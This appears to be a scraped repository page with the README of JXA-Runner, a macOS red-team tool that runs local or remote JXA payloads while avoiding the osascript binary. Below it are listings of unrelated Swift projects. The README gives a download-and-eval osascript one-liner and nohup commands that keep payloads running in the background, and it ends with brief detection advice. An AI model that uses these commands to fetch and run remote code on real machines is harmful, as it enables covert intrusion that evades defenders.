Swift code to programmatically execute local or hosted JXA payloads without using the on-disk osascript binary

Related tags

Utility JXA-Runner
Overview

JXA Runner

Swift code to programmatically execute local or hosted JXA payloads without using the on-disk osascript binary. This is helpful when you have Terminal access to a macOS host and want to launch a JXA .js payload without using on-disk osascript commands.

Steps

  1. Ensure you have Xcode installed (which will also install Swift)
  2. Open the included xcodeproj file in XCode
  3. In XCode: Product -> Build to build the binary
  4. The compiled binary will be dropped to something like: /Users/[username]/Library/Developer/Xcode/DerivedData/JXARunner-[random]/Build/Products/Debug/JXARunner.app
  5. cd to the Directory in #4 above and then cd to Contents/MacOS
  6. Then you can copy the JXARunner macho binary to wherever you plan to run it and execute it

Usage

  • For programmatically executing hosted JXA payloads:

./JXARunner -u [url_to_jxa_payload]

**Note: This is the programmatic alternative to the command line execution of: osascript -l JavaScript -e "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('[url_path]')),$.NSUTF8StringEncoding)));"

  • For programmatically executing local JXA payloads:

./JXARunner -f [local_path_to_payload]

**Note: This is the programmatic alternative to the command line execution of: osascript -l JavaScvript -e "eval(ObjC.unwrap($.NSString.stringWithContentsOfFile('[filePath]')));"

Notes

In its current form, this script does NOT background the JXA payload. So you will need to take care of that manually at execution time. Some options for doing so are below:

  • If you want the launched JXA payload to continue even after the Terminal you are using is closed, you can run JXA Runner in this manner (note: this will cause a nohup.out file to be dropped to the current directory or to the home directory):

nohup ./JXARunner -u [url_to_jxa_payload]

  • If you want the launched JXA payload to continue after the Terminal is closed and you do not want to create the nohup.out file, you can run JXA runner in the following manner:

nohup ./JXARunner -u [url_to_jxa_payload] > /dev/null 2>&1&

  • If you simply want to spawn JXA Runner backgrounded you can run it in this manner (however, if the Terminal window is closed the JXA payload will stop running):

./JXARunner -u [url_to_jxa_payload] &

Detection

If nohup is being used to cause the executed payload to live beyond the Terminal, searching for nohup command line executions would return this activity (and may be a good idea in general to see what else in an environment is running commands with nohup). However, this will likely return lots of results and will need to be added with other indicators to find this activity.

You might also like...
GenStore is a lightweight swift code generator for your resources.
GenStore is a lightweight swift code generator for your resources.

GenStore is a lightweight swift code generator for your resources. GenStore can create classes for your images, colors and localized strings.

Useful extensions for my Swift code
Useful extensions for my Swift code

UIViewController extensions presentAlert(withTitle title: String, message : String) presentAlertDialog(withTitle title: String, message : String, acti

An eject button for Interface Builder to generate swift code

Eject Eject is a utility to transition from Interface Builder to programatic view layout. This is done by using code generation to create a .swift fil

Async+ for Swift provides a simple chainable interface for your async and throwing code, similar to promises and futures
Async+ for Swift provides a simple chainable interface for your async and throwing code, similar to promises and futures

Async+ for Swift provides a simple chainable interface for your async and throwing code, similar to promises and futures. Have the best of both worlds

MarvelComics-ViewCode é um app  para fins de estudo, desenvolvido em Swift utilizando View Code.
MarvelComics-ViewCode é um app para fins de estudo, desenvolvido em Swift utilizando View Code.

MarvelComics-ViewCode - iOS O MarvelComics-ViewCode é um app para listar todos os personagens da Marvel, implementado em Swift utilizando View Code co

Repository for all the programs and Code I would write in Swift.

Swift Programming Language This repository contains the program and codes I write in Swift About Swift Swift is a general-purpose, multi-paradigm, com

Generate Markdown documentation from source code
Generate Markdown documentation from source code

SourceDocs SourceDocs is a command line tool that generates markdown documentation files from inline source code comments. Similar to Sphinx or Jazzy,

All the reusable code that we need in each project

SwiftyUtils SwiftyUtils groups all the reusable code that we need to ship in each project. This framework contains: Extensions Protocols Structs Subcl

SnippetsLibrary - Code snippets library for SwiftUI Devs.
SnippetsLibrary - Code snippets library for SwiftUI Devs.

SnippetsLibrary is a helpful tool for SwiftUI developers to help with their daily coding life. SnippetsLibrary contains all the needed code snippets for you to view, edit, or add more and more. This will make your daily work easier and faster.

Owner
Cedric Owens
offensive security engineer
Cedric Owens
This is a app developed in Swift, using Object Oriented Programing, UIKit user interface programmatically, API Request and Kingfisher to load remote images

iOS NOW ⭐ This is a app developed in Swift, using Object Oriented Programing, UIKit user interface programmatically, API Request and Kingfisher to loa

William Tristão de Paula 1 Dec 7, 2021
Azure Maps iOS SDK binary distribution for Swift Package Manager

Azure Maps Control for iOS Installation In your Xcode iOS Project settings, under Project setting’s Package Dependencies, click on + button to add pac

Microsoft Azure 2 Nov 1, 2021
Finds the .dSYM for a given binary image name and replaces its internal UUID with the given UUID.

dsymrename Given a directory with several .dSYMs, finds the .dSYM for a given binary image name and replaces its internal UUID with the given UUID. Us

Stefan Schmitt 15 Jul 17, 2022
Project shows how to unit test asynchronous API calls in Swift using Mocking without using any 3rd party software

UnitTestingNetworkCalls-Swift Project shows how to unit test asynchronous API ca

Gary M 0 May 6, 2022
👷‍♀️ Closure-based delegation without memory leaks

Delegated 2.0 Delegated is a super small package that helps you avoid retain cycles when using closure-based delegation. New Medium post here. Origina

Oleg Dreyman 703 Oct 8, 2022
Ethereum Wallet Toolkit for iOS - You can implement an Ethereum wallet without a server and blockchain knowledge.

Introduction EtherWalletKit is an Ethereum Wallet Toolkit for iOS. I hope cryptocurrency and decentralized token economy become more widely adapted. H

Sung Woo Chang 136 Dec 25, 2022
Tweak your iOS app without recompiling!

SwiftTweaks Adjust your iOS app on the fly without waiting to re-compile! Your users won’t see your animation study, Sketch comps, or prototypes. What

Khan Academy 1.4k Dec 28, 2022
Tweak your iOS app without recompiling!

SwiftTweaks Adjust your iOS app on the fly without waiting to re-compile! Your users won’t see your animation study, Sketch comps, or prototypes. What

Khan Academy 1.4k Dec 28, 2022
⏲ A tiny package to measure code execution time. Only 20 lines of code.

Measure ⏲ A tiny package to measure code execution time. Measure.start("create-user") let user = User() Measure.finish("create-user") Console // ⏲ Mea

Mezhevikin Alexey 3 Oct 1, 2022
Useful Swift code samples, extensions, functionalities and scripts to cherry-pick and use in your projects

SwiftyPick ?? ?? Useful Swift code samples, extensions, functionalities and scripts to cherry-pick and use in your projects. Purpose The idea behind t

Manu Herrera 19 May 12, 2022